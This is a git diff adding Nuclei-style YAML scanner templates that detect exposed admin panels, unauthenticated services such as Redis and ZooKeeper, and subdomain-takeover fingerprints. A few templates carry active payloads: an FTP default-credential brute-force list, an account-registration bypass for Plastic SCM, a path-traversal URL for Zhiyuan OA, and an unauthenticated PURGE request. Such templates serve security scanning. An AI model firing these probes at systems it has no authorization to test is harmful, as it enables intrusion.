+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/unauthenticated-prtg.yaml b/misconfiguration/unauthenticated-prtg.yaml
index 1517e1003b..27baca82ab 100644
--- a/misconfiguration/unauthenticated-prtg.yaml
+++ b/misconfiguration/unauthenticated-prtg.yaml
@@ -5,6 +5,7 @@ info:
author: dhiyaneshDK
severity: high
reference: https://www.exploit-db.com/ghdb/5808
+ tags: config,unauth
requests:
- method: GET
diff --git a/misconfiguration/unauthenticated-tensorboard.yaml b/misconfiguration/unauthenticated-tensorboard.yaml
new file mode 100644
index 0000000000..88db2175d9
--- /dev/null
+++ b/misconfiguration/unauthenticated-tensorboard.yaml
@@ -0,0 +1,25 @@
+id: unauthenticated-tensorboard
+
+info:
+ name: Unauthenticated Tensorboard by Tensorflow
+ author: dhiyaneshDk
+ severity: high
+ tags: tensorflow,tensorboard,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/data/plugins_listing'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'scalars'
+ - 'loading_mechanism'
+ - 'custom_scalars'
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/unauthenticated-varnish-cache-purge.yaml b/misconfiguration/unauthenticated-varnish-cache-purge.yaml
new file mode 100644
index 0000000000..459ab72757
--- /dev/null
+++ b/misconfiguration/unauthenticated-varnish-cache-purge.yaml
@@ -0,0 +1,27 @@
+id: unauthenticated-cache-purge
+info:
+ name: Varnish Unauthenticated Cache Purge
+ author: 0xelkomy
+ severity: low
+ description: As per guideline one should protect purges with ACLs from unauthorized hosts.
+ reference: https://book.varnish-software.com/4.0/chapters/Cache_Invalidation.html
+ hackerone: https://hackerone.com/reports/154278
+ tags: varnish,misconfig,cache
+
+requests:
+ - method: PURGE
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '200 Purged '
+ - '"status": "ok"'
+ condition: or
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/unauthenticated-zippkin.yaml b/misconfiguration/unauthenticated-zippkin.yaml
new file mode 100644
index 0000000000..984ff7a602
--- /dev/null
+++ b/misconfiguration/unauthenticated-zippkin.yaml
@@ -0,0 +1,31 @@
+id: unauthenticated-zippkin
+
+info:
+ name: Unauthenticated Zippkin
+ author: dhiyaneshDk
+ severity: high
+ description: Unauthenticated access to Zippkin
+ tags: unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/config.json"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'application/json'
+ part: header
+
+ - type: word
+ words:
+ - environment
+ - defaultLookback
+ part: body
+ condition: and
diff --git a/misconfiguration/unauthorized-hp-printer.yaml b/misconfiguration/unauthorized-hp-printer.yaml
new file mode 100644
index 0000000000..9f69be01e2
--- /dev/null
+++ b/misconfiguration/unauthorized-hp-printer.yaml
@@ -0,0 +1,24 @@
+id: unauthorized-hp-printer
+
+info:
+ name: Unauthorized HP Printer
+ author: pussycat0x
+ severity: high
+ tags: hp,iot,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/SSI/Auth/ip_snmp.htm"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "HP"
+ - "SNMP "
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/unauthorized-plastic-scm.yaml b/misconfiguration/unauthorized-plastic-scm.yaml
new file mode 100644
index 0000000000..6678abb0c6
--- /dev/null
+++ b/misconfiguration/unauthorized-plastic-scm.yaml
@@ -0,0 +1,49 @@
+id: unauthorized-plastic-scm
+
+info:
+ name: Unauthorized Access to Plastic Admin Console
+ author: DEENA
+ severity: critical
+ tags: plastic
+ reference: https://infosecwriteups.com/story-of-google-hall-of-fame-and-private-program-bounty-worth-53559a95c468
+
+requests:
+ - raw:
+ - |
+ GET /account/register HTTP/1.1
+ {{Hostname}}
+
+ - |
+ POST /account/register HTTP/1.1
+ Host: {{Hostname}}
+ Origin: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+ Referer: {{BaseURL}}/account/register
+ Connection: close
+
+ Password={{randstr}}&ConfirmPassword={{randstr}}&RememberMe=true&__RequestVerificationToken={{csrf}}&RememberMe=false
+
+ - |
+ GET /configuration HTTP/1.1
+ {{Hostname}}
+
+ cookie-reuse: true
+ extractors:
+ - type: regex
+ part: body
+ internal: true
+ group: 1
+ name: csrf
+ regex:
+ - 'RequestVerificationToken" type="hidden" value="([A-Za-z0-9_-]+)" \/>'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Network - Plastic SCM "
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/ups-status.yaml b/misconfiguration/ups-status.yaml
new file mode 100644
index 0000000000..b1906a58a0
--- /dev/null
+++ b/misconfiguration/ups-status.yaml
@@ -0,0 +1,24 @@
+id: ups-status
+
+info:
+ name: Multimon UPS status page
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/752
+ tags: logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/cgi-bin/apcupsd/multimon.cgi"
+ - "{{BaseURL}}/cgi-bin/multimon.cgi"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Multimon: UPS Status Page"
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/viewpoint-system-status.yaml b/misconfiguration/viewpoint-system-status.yaml
new file mode 100644
index 0000000000..326fa9876c
--- /dev/null
+++ b/misconfiguration/viewpoint-system-status.yaml
@@ -0,0 +1,23 @@
+id: viewpoint-system-status
+
+info:
+ name: ViewPoint System Status
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.shodan.io/search?query=http.title%3A%22ViewPoint+System+Status%22
+ tags: status,exposures
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'ViewPoint System Status '
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/wamp-server-configuration.yaml b/misconfiguration/wamp-server-configuration.yaml
new file mode 100644
index 0000000000..7594ecf0de
--- /dev/null
+++ b/misconfiguration/wamp-server-configuration.yaml
@@ -0,0 +1,24 @@
+id: wamp-server-configuration
+
+info:
+ name: default-wamp-server-page
+ author: pussycat0x
+ severity: medium
+ description: Wamp default page will expose sensitive configuration and vhosts.
+ reference: https://www.exploit-db.com/ghdb/6891.
+ tags: wamp,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(tolower(body), "wampserver")'
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/wamp-xdebug-detect.yaml b/misconfiguration/wamp-xdebug-detect.yaml
index a0cff18d8e..ba4a42756b 100644
--- a/misconfiguration/wamp-xdebug-detect.yaml
+++ b/misconfiguration/wamp-xdebug-detect.yaml
@@ -4,8 +4,8 @@ info:
name: WAMP xdebug
author: e_schultze_
severity: info
- # Inspired on https://github.com/random-robbie/My-Shodan-Scripts/blob/1b01bceecc9be0b74b202f445874920eee48bba5/wamp-xdebug/wamp-xdebug.py
- # Goal: detect if xdebug.remote_connect_back is enabled
+ reference: https://github.com/random-robbie/My-Shodan-Scripts/blob/1b01bceecc9be0b74b202f445874920eee48bba5/wamp-xdebug/wamp-xdebug.py
+ tags: debug,config
requests:
- method: GET
diff --git a/misconfiguration/zabbix-dashboards-access.yaml b/misconfiguration/zabbix-dashboards-access.yaml
new file mode 100644
index 0000000000..c3c1386d66
--- /dev/null
+++ b/misconfiguration/zabbix-dashboards-access.yaml
@@ -0,0 +1,28 @@
+id: zabbix-dashboards-access
+
+info:
+ name: zabbix-dashboards-access
+ author: pussycat0x,vsh00t
+ severity: medium
+ description: View dashboard with guest login.
+ reference: |
+ - https://www.exploit-db.com/ghdb/5595
+ - https://packetstormsecurity.com/files/163657/zabbix5x-sqlxss.txt
+ tags: zabbix,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/zabbix/zabbix.php?action=dashboard.list"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Create dashboard"
+ - "Zabbix SIA"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/zenphoto-installation-sensitive-info.yaml b/misconfiguration/zenphoto-installation-sensitive-info.yaml
index 9d75e6f25f..5f9225ea95 100644
--- a/misconfiguration/zenphoto-installation-sensitive-info.yaml
+++ b/misconfiguration/zenphoto-installation-sensitive-info.yaml
@@ -6,6 +6,7 @@ info:
severity: medium
description: Misconfiguration on Zenphoto version < 1.5.X which lead to sensitive
information disclosure
+ tags: unauth
requests:
- method: GET
diff --git a/misconfiguration/zhiyuan-oa-unauthorized.yaml b/misconfiguration/zhiyuan-oa-unauthorized.yaml
new file mode 100644
index 0000000000..ae4c64a660
--- /dev/null
+++ b/misconfiguration/zhiyuan-oa-unauthorized.yaml
@@ -0,0 +1,31 @@
+id: zhiyuan-oa-unauthorized
+
+info:
+ name: Zhiyuan Oa Unauthorized
+ author: pikpikcu
+ severity: low
+ reference: https://buaq.net/go-53721.html
+ tags: seeyon,unauth
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/seeyon/personalBind.do.jpg/..;/ajax.do?method=ajaxAction&managerName=mMOneProfileManager&managerMethod=getOAProfile"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ words:
+ - "serverIdentifier"
+ - "companyName"
+ condition: and
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/network/deprecated-sshv1-detection.yaml b/network/deprecated-sshv1-detection.yaml
new file mode 100644
index 0000000000..a3f21c8969
--- /dev/null
+++ b/network/deprecated-sshv1-detection.yaml
@@ -0,0 +1,20 @@
+id: deprecated-sshv1-detection
+
+info:
+ name: Deprecated SSHv1 Protocol Detection
+ author: iamthefrogy
+ severity: medium
+ tags: network,ssh,openssh
+ description: SSHv1 is a deprecated and have known cryptographic issues.
+ reference: |
+ - https://www.kb.cert.org/vuls/id/684820
+ - https://nvd.nist.gov/vuln/detail/CVE-2001-1473
+
+network:
+ - host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:22"
+ matchers:
+ - type: word
+ words:
+ - "SSH-1"
diff --git a/network/detect-addpac-voip-gateway.yaml b/network/detect-addpac-voip-gateway.yaml
new file mode 100644
index 0000000000..ab6397c908
--- /dev/null
+++ b/network/detect-addpac-voip-gateway.yaml
@@ -0,0 +1,30 @@
+id: detect-addpac-voip-gateway
+
+info:
+ name: Detect AddPac Technology GSM VoIP Gateway
+ reference: http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf
+ author: geeknik
+ severity: info
+ tags: network,addpac,apos
+
+network:
+ - inputs:
+ - data: '00'
+ type: hex
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:23"
+
+ matchers:
+ - type: word
+ words:
+ - "Welcome"
+ - "APOS(tm)"
+ - "User Access Verification"
+ condition: and
+
+ extractors:
+ - type: regex
+ regex:
+ - 'Kernel Version \d\.\d\d\.\d\d\d'
diff --git a/network/detect-rsyncd.yaml b/network/detect-rsyncd.yaml
new file mode 100644
index 0000000000..3083708997
--- /dev/null
+++ b/network/detect-rsyncd.yaml
@@ -0,0 +1,28 @@
+id: detect-rsyncd
+
+info:
+ name: Detect rsyncd
+ reference: https://linux.die.net/man/1/rsync
+ author: vsh00t,geeknik
+ severity: info
+ tags: network,rsyncd
+
+network:
+ - inputs:
+ - data: "?\r\n"
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:873"
+
+ matchers:
+ - type: word
+ words:
+ - "RSYNCD: "
+ - "ERROR: protocol startup error"
+ condition: and
+
+ extractors:
+ - type: regex
+ regex:
+ - 'RSYNCD: \d\d.\d'
diff --git a/network/expn-mail-detect.yaml b/network/expn-mail-detect.yaml
new file mode 100644
index 0000000000..adc6613c1f
--- /dev/null
+++ b/network/expn-mail-detect.yaml
@@ -0,0 +1,22 @@
+id: expn-mail-detect
+
+info:
+ name: EXPN Mail Server Detect
+ author: r3dg33k
+ severity: info
+ tags: mail,expn,network
+
+network:
+ - inputs:
+ - data: "65686c6f20636865636b746c730a"
+ type: hex
+ read-size: 2048
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:25"
+
+ matchers:
+ - type: word
+ words:
+ - "250-EXPN"
\ No newline at end of file
diff --git a/network/exposed-redis.yaml b/network/exposed-redis.yaml
new file mode 100644
index 0000000000..12ec2926da
--- /dev/null
+++ b/network/exposed-redis.yaml
@@ -0,0 +1,27 @@
+id: exposed-redis
+
+info:
+ name: Redis Unauth Server
+ author: pdteam
+ severity: high
+ reference: https://redis.io/topics/security
+ tags: network,redis
+
+network:
+ - inputs:
+ - data: "info\r\nquit\r\n"
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:6379"
+ read-size: 2048
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "redis_version"
+ - type: word
+ negative: true
+ words:
+ - "redis_mode:sentinel"
\ No newline at end of file
diff --git a/network/exposed-zookeeper.yaml b/network/exposed-zookeeper.yaml
new file mode 100644
index 0000000000..c531fd85e5
--- /dev/null
+++ b/network/exposed-zookeeper.yaml
@@ -0,0 +1,22 @@
+id: exposed-zookeeper
+
+info:
+ name: ZooKeeper Unauth Server
+ author: pdteam
+ severity: high
+ reference: https://zookeeper.apache.org/security.html
+ tags: network,zookeeper
+
+network:
+ - inputs:
+ - data: "envi\r\nquit\r\n"
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:2181"
+ read-size: 2048
+
+ matchers:
+ - type: word
+ words:
+ - "zookeeper.version"
\ No newline at end of file
diff --git a/network/ftp-default-creds.yaml b/network/ftp-default-creds.yaml
new file mode 100644
index 0000000000..18bef48e05
--- /dev/null
+++ b/network/ftp-default-creds.yaml
@@ -0,0 +1,33 @@
+id: ftp-default-credentials
+
+info:
+ name: FTP Service with default credentials
+ author: pussycat0x
+ severity: critical
+ tags: network,ftp,default-login
+
+network:
+ - payloads:
+ username:
+ - admin
+ - root
+ - anonymous
+ password:
+ - anonymous
+ - password
+ - toor
+ - nas
+ - guest
+ - default
+ - pass1
+ - stingray
+
+ attack: clusterbomb
+ inputs:
+ - data: "USER {{username}}\r\nPASS {{password}}\r\n"
+ host:
+ - "{{Hostname}}:21"
+ matchers:
+ - type: word
+ words:
+ - "230"
\ No newline at end of file
diff --git a/network/ganglia-xml-grid-monitor.yaml b/network/ganglia-xml-grid-monitor.yaml
new file mode 100644
index 0000000000..972659afdc
--- /dev/null
+++ b/network/ganglia-xml-grid-monitor.yaml
@@ -0,0 +1,26 @@
+id: ganglia-xml-grid-monitor
+
+info:
+ name: Ganglia XML Grid Monitor
+ author: geeknik
+ description: Ganglia is a scalable distributed monitoring system for high-performance computing systems such as clusters and Grids.
+ reference: http://ganglia.info/
+ severity: low
+ tags: ganglia,network
+
+network:
+ - inputs:
+ - data: "\r\n"
+
+ host:
+ - "{{Hostname}}"
+ - "{{Hostname}}:8649"
+ read-size: 2048
+
+ matchers:
+ - type: word
+ words:
+ - "The page you're looking for doesn't exist.
\ No newline at end of file
diff --git a/takeovers/agilecrm-takeover.yaml b/takeovers/agilecrm-takeover.yaml
new file mode 100644
index 0000000000..9f6a9a36d8
--- /dev/null
+++ b/takeovers/agilecrm-takeover.yaml
@@ -0,0 +1,18 @@
+id: agilecrm-takeover
+
+info:
+ name: agilecrm takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - Sorry, this page is no longer available.
\ No newline at end of file
diff --git a/takeovers/aha-takeover.yaml b/takeovers/aha-takeover.yaml
new file mode 100644
index 0000000000..2cd6bcb83d
--- /dev/null
+++ b/takeovers/aha-takeover.yaml
@@ -0,0 +1,18 @@
+id: aha-takeover
+
+info:
+ name: Aha Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - There is no portal here ... sending you back to Aha!
\ No newline at end of file
diff --git a/takeovers/airee-takeover.yaml b/takeovers/airee-takeover.yaml
new file mode 100644
index 0000000000..e728af2d0d
--- /dev/null
+++ b/takeovers/airee-takeover.yaml
@@ -0,0 +1,19 @@
+id: airee-takeover
+
+info:
+ name: Airee Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ name: airee
+ words:
+ - 'Ошибка 402. Сервис Айри.рф не оплачен'
\ No newline at end of file
diff --git a/takeovers/anima-takeover.yaml b/takeovers/anima-takeover.yaml
new file mode 100644
index 0000000000..e106afff84
--- /dev/null
+++ b/takeovers/anima-takeover.yaml
@@ -0,0 +1,18 @@
+id: anima-takeover
+
+info:
+ name: Anima Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "If this is your website and you've just created it, try refreshing in a minute"
\ No newline at end of file
diff --git a/takeovers/aws-bucket-takeover.yaml b/takeovers/aws-bucket-takeover.yaml
new file mode 100644
index 0000000000..c2836b743f
--- /dev/null
+++ b/takeovers/aws-bucket-takeover.yaml
@@ -0,0 +1,24 @@
+id: aws-bucket-takeover
+
+info:
+ name: AWS Bucket Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover,aws
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "The specified bucket does not exist"
+
+ - type: dsl
+ dsl:
+ - contains(tolower(all_headers), 'x-guploader-uploadid')
+ negative: true
\ No newline at end of file
diff --git a/takeovers/bigcartel-takeover.yaml b/takeovers/bigcartel-takeover.yaml
new file mode 100644
index 0000000000..c9c8ca3393
--- /dev/null
+++ b/takeovers/bigcartel-takeover.yaml
@@ -0,0 +1,17 @@
+id: bigcartel-takeover
+
+info:
+ name: Bigcartel Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ matchers:
+ - type: word
+ words:
+ - "
Oops! We couldn’t find that page. "
\ No newline at end of file
diff --git a/takeovers/bitbucket-takeover.yaml b/takeovers/bitbucket-takeover.yaml
new file mode 100644
index 0000000000..f9234ad7a3
--- /dev/null
+++ b/takeovers/bitbucket-takeover.yaml
@@ -0,0 +1,25 @@
+id: bitbucket-takeover
+
+info:
+ name: Bitbucket Takeover Detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Repository not found"
+ part: body
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
\ No newline at end of file
diff --git a/takeovers/brightcove-takeover.yaml b/takeovers/brightcove-takeover.yaml
new file mode 100644
index 0000000000..3692016e14
--- /dev/null
+++ b/takeovers/brightcove-takeover.yaml
@@ -0,0 +1,19 @@
+id: brightcove-takeover
+
+info:
+ name: brightcove takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+
+ - type: word
+ words:
+ - 'Error Code: 404
'
\ No newline at end of file
diff --git a/takeovers/campaignmonitor.yaml b/takeovers/campaignmonitor.yaml
new file mode 100644
index 0000000000..bc88823e52
--- /dev/null
+++ b/takeovers/campaignmonitor.yaml
@@ -0,0 +1,20 @@
+id: campaignmonitor-takeover
+
+info:
+ name: campaignmonitor takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 'Trying to access your account? '
+ - 'or '
+ - '404 Not FoundOops! That's not the site "
+ condition: and
diff --git a/takeovers/freshdesk-takeover.yaml b/takeovers/freshdesk-takeover.yaml
new file mode 100644
index 0000000000..7ad85a3e7f
--- /dev/null
+++ b/takeovers/freshdesk-takeover.yaml
@@ -0,0 +1,26 @@
+id: freshdesk-takeover
+
+info:
+ name: freshdesk takeover detection
+ author: naglinagli
+ severity: high
+ tags: takeover
+ reference: https://twitter.com/ja1sharma/status/1377239265348743175
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - There is no helpdesk here!
+ - Maybe this is still fresh!
+ condition: and
+
+ - type: word
+ words:
+ - "freshservice.com"
+ negative: true
diff --git a/takeovers/freshservice-takeover.yaml b/takeovers/freshservice-takeover.yaml
new file mode 100644
index 0000000000..f8365be078
--- /dev/null
+++ b/takeovers/freshservice-takeover.yaml
@@ -0,0 +1,21 @@
+id: freshservice-takeover
+
+info:
+ name: freshservice takeover detection
+ author: philippedelteil
+ severity: info
+ tags: takeover
+ reference: https://twitter.com/secuaudit/status/1142514805590433793
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 'There is no helpdesk here!'
+ - 'Maybe this is still fresh!'
+ - 'freshservice.com'
+ condition: and
\ No newline at end of file
diff --git a/takeovers/frontify-takeover.yaml b/takeovers/frontify-takeover.yaml
new file mode 100644
index 0000000000..b439ed310e
--- /dev/null
+++ b/takeovers/frontify-takeover.yaml
@@ -0,0 +1,20 @@
+id: frontify-takeover
+
+info:
+ name: frontify takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 404 - Page Not Found
+ - Oops… looks like you got lost
+ condition: and
\ No newline at end of file
diff --git a/takeovers/gemfury-takeover.yaml b/takeovers/gemfury-takeover.yaml
new file mode 100644
index 0000000000..340c66374b
--- /dev/null
+++ b/takeovers/gemfury-takeover.yaml
@@ -0,0 +1,18 @@
+id: gemfury-takeover
+
+info:
+ name: gemfury takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "404: This page could not be found."
\ No newline at end of file
diff --git a/takeovers/getresponse-takeover.yaml b/takeovers/getresponse-takeover.yaml
new file mode 100644
index 0000000000..852a6d5985
--- /dev/null
+++ b/takeovers/getresponse-takeover.yaml
@@ -0,0 +1,18 @@
+id: getresponse-takeover
+
+info:
+ name: getresponse takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 'With GetResponse Landing Pages, lead generation has never been easier'
\ No newline at end of file
diff --git a/takeovers/ghost-takeover.yaml b/takeovers/ghost-takeover.yaml
new file mode 100644
index 0000000000..cfc804c35b
--- /dev/null
+++ b/takeovers/ghost-takeover.yaml
@@ -0,0 +1,24 @@
+id: ghost-takeover
+
+info:
+ name: ghost takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz/issues/89
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: header
+ words:
+ - 'offline.ghost.org'
+
+ - type: status
+ status:
+ - 302
\ No newline at end of file
diff --git a/takeovers/github-takeover.yaml b/takeovers/github-takeover.yaml
new file mode 100644
index 0000000000..0fb086c33d
--- /dev/null
+++ b/takeovers/github-takeover.yaml
@@ -0,0 +1,19 @@
+id: github-takeover
+
+info:
+ name: github takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "There isn't a GitHub Pages site here."
+ - "For root URLs (like http://example.com/) you must provide an index.html file"
\ No newline at end of file
diff --git a/takeovers/hatenablog-takeover.yaml b/takeovers/hatenablog-takeover.yaml
new file mode 100644
index 0000000000..e1842d061b
--- /dev/null
+++ b/takeovers/hatenablog-takeover.yaml
@@ -0,0 +1,18 @@
+id: hatenablog-takeover
+
+info:
+ name: hatenablog takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 404 Blog is not found
\ No newline at end of file
diff --git a/takeovers/helpjuice-takeover.yaml b/takeovers/helpjuice-takeover.yaml
new file mode 100644
index 0000000000..c5ab27ce89
--- /dev/null
+++ b/takeovers/helpjuice-takeover.yaml
@@ -0,0 +1,18 @@
+id: helpjuice-takeover
+
+info:
+ name: helpjuice takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - We could not find what you're looking for.
\ No newline at end of file
diff --git a/takeovers/helprace-takeover.yaml b/takeovers/helprace-takeover.yaml
new file mode 100644
index 0000000000..8289377300
--- /dev/null
+++ b/takeovers/helprace-takeover.yaml
@@ -0,0 +1,20 @@
+id: helprace-takeover
+
+info:
+ name: helprace takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+
+ - type: word
+ words:
+ - "Alias not configured!"
+ - "Admin of this Helprace account needs to set up domain alias"
diff --git a/takeovers/helpscout-takeover.yaml b/takeovers/helpscout-takeover.yaml
new file mode 100644
index 0000000000..548f39f325
--- /dev/null
+++ b/takeovers/helpscout-takeover.yaml
@@ -0,0 +1,19 @@
+id: helpscout-takeover
+
+info:
+ name: helpscout takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+
+ - type: word
+ words:
+ - "No settings were found for this company:"
\ No newline at end of file
diff --git a/takeovers/heroku-takeover.yaml b/takeovers/heroku-takeover.yaml
new file mode 100644
index 0000000000..a6e03e96ac
--- /dev/null
+++ b/takeovers/heroku-takeover.yaml
@@ -0,0 +1,20 @@
+id: heroku-takeover
+
+info:
+ name: heroku takeover detection
+ author: 0xPrial,pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "herokucdn.com/error-pages/no-such-app.html"
+ - "No such app "
+ condition: and
\ No newline at end of file
diff --git a/takeovers/hubspot-takeover.yaml b/takeovers/hubspot-takeover.yaml
new file mode 100644
index 0000000000..38d6b33e7e
--- /dev/null
+++ b/takeovers/hubspot-takeover.yaml
@@ -0,0 +1,20 @@
+id: hubspot-takeover
+
+info:
+ name: hubspot takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - "Domain not found"
+ - "does not exist in our system"
+ condition: and
\ No newline at end of file
diff --git a/takeovers/intercom-takeover.yaml b/takeovers/intercom-takeover.yaml
new file mode 100644
index 0000000000..50850fce2b
--- /dev/null
+++ b/takeovers/intercom-takeover.yaml
@@ -0,0 +1,20 @@
+id: intercom-takeover
+
+info:
+ name: intercom takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - 'This page is reserved for artistic dogs.'
+ - 'Uh oh. That page doesn’t exist. '
+ condition: and
\ No newline at end of file
diff --git a/takeovers/jazzhr-takeover.yaml b/takeovers/jazzhr-takeover.yaml
new file mode 100644
index 0000000000..cc2e8d6a32
--- /dev/null
+++ b/takeovers/jazzhr-takeover.yaml
@@ -0,0 +1,18 @@
+id: jazzhr-takeover
+
+info:
+ name: jazzhr takeover detection
+ author: pdteam
+ severity: high
+ tags: takeover
+ reference: https://github.com/EdOverflow/can-i-take-over-xyz
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ words:
+ - This account no longer active
\ No newline at end of file
